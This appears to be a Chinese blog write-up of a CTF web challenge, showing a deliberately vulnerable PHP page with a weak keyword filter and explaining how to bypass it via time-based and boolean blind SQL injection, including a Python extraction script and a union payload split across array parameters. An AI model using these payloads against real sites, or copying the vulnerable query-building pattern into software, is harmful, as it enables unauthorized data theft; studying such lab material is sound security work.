导航
导航
文章目录
  1. 前言
  2. 分析过程
    1. 总结

一道有意思的注入题

前言

“平衡信息”杯-南宁市第二届网络与信息安全技术大赛 web_300题目复现

分析过程

先直接上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$db="db";
$db_name="###";
$db_pw="###";
$host="localhost";
$conn=mysqli_connect($host,$db_name,$db_pw,$db);
if(!$conn){
die(mysqli_errno());
}
foreach($_GET as $get){
if(is_array($get)){
foreach($get as $g){
if(stristr($g,'select')!=FALSE && stristr($g,'union')!=FALSE){
die('stop attack!');
}else if(stristr($g,'select')!=FALSE && stristr($g,'from')!=FALSE){
die('no attack!');
}
}
}else{
if(stristr($get,'select')!=FALSE && stristr($get,'union')!=FALSE){
die('stop attack!');
}
}
}
$id=$_GET['id'];
if(is_array($id)){
$sql='select * from user where id in('.implode(',',$id).')';
echo "2=>";
}else{
$sql='select * from user where id ='.$id;
echo "1=>";
}
$result=mysqli_query($conn,$sql);
while($row=mysqli_fetch_array($result)){
printf("id: %s<br> Title: %s<br> %s",$row[0],$row[1],$row[2]);
}
mysqli_free_result($result);

这里有几个trick要注意

  1. 首先分析一下流程
    开始判断传入的id是否是数组如果是就需要过foreach 的if里(stristr函数)的判断
    否则也要经过if里的判断

  2. bypass点
    stristr函数不区分大小写 返回从搜索的字符串开始,没有搜索到就返回FALSE。
    如果$get(id的值)不是数组就直接进入

    1
    2
    3
    if(stristr($get,'select')!=FALSE && stristr($get,'union')!=FALSE){
    die('stop attack!');
    }

也就是不能同时存在select 和 union字符,这一点我们可以使用时间的盲注进行,
直接传入

1
2
$sql='select * from user where id ='.$id;
//payload select * from user where id =1 and(select(sleep(3)))

简单的写一个bool的盲注脚本,也可以使用sqlmap跑一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#coding:utf-8
import requests
import string
str=string.ascii_letters
str=str+','
print str
url="http://127.0.0.1/"
debug = 0 #当没有数据出现就中断注入
database ='student'
table=''
for i in range(1,16):
test=debug
for x in str:
#payload ="?id=1 and(ascii(substr(database(),%s,1))=%s)" %(i,ord(x))
payload='?id=1 and(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=0x73747564656E74),%s,1))=%s)' %(i,ord(x))
u_p=url+payload
res=requests.get(u_p)
# print u_p
if "admin" in res.content:
table=table+x
print "table:",table
debug=debug+1
break
if debug==test:
break
else:
continue

如果判断的再死一点,把union关键字换成from,也就是不能同时出现 select 和union了,没有办法遍历出数据库和表了,只能爆破表名和字段了。
else走不通了,那我们按照正常的if来走一遍,首先我们知道可以通过url传数组
也就是我们利用传数组这样的方式bypass,最终执行的sql语句就是

1
$sql='select * from user where id  in('.implode(',',$id).')';

只要能绕过if中的stristr函数的检测就能拼接到sql语句中
另一个trick 就是我们传入数组的时候可以这样传入id[]=1&id=2去绕过stristr,也可以拼接到sql语句中按照这样的一个思路

1
2
3
4
5
首先拼接 ) id[]=1)然后是stristr函数id[]= union/*  &id[]=  */select 1,database(),3 #

//$_GET[id]=$id[]= { [0] => -1) union/* [1] => */ select 1,user(),3# }

//最终的sql=select * from user where id in(-1) union/*,*/select 1,user(),3#

成功使用布尔型的注入。

总结

trick点 url 传数组分段传入输入绕过stristr函数的检测

支持一下
扫一扫,支持作者

Powered by HyperComments